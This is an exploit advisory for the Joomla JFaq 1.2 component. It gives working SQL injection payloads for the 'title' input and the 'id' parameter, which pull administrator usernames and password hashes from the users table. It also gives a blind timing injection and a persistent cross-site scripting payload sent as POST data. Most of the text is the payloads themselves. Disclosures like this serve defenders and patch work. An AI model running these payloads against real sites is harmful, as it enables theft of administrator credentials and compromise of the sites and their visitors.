Joomla JFaq 1.2 SQL Injection / Cross Site Scripting

`  
  
# Exploit Title: Joomla Component JFaq 1.2 Multiple Vulnerabilities  
# Date: 11 May 2010  
# Author: jdc  
# Version: 1.2  
# Tested on: PHP5, MySQL5  
  
"title" input SQL injection  
---------------------------  
title', (select concat(username,char(32),password) from #__users where   
gid=25 limit 1), 1, 1, 1, 1, 1) -- '  
  
  
id SQL injection  
----------------  
requires: magic quotes OFF, Joomla debug mode OFF  
  
?option=com_jfaq  
&task=detail  
&id=-1' union select concat(username,char(32),password),2,3,4,5,6,7,8,9   
from jos_users where gid=25 -- '  
  
  
id Blind SQL injection  
----------------------  
requires: magic quotes OFF  
  
?option=com_jfaq  
&task=categ  
&id=-1' union select benchmark(1000000,md5(5)) -- '  
  
  
Persistent XSS  
--------------  
requires: a method to manually POST to form  
  
postdata:  
option=com_jfaq  
task=add2  
visitor_name=foo  
categ=1  
titlu=bar  
question=<img src="f" onerror="alert(1);//"  
  
NOTE: cannot be manually input - editor script strips exploit  
  
  
`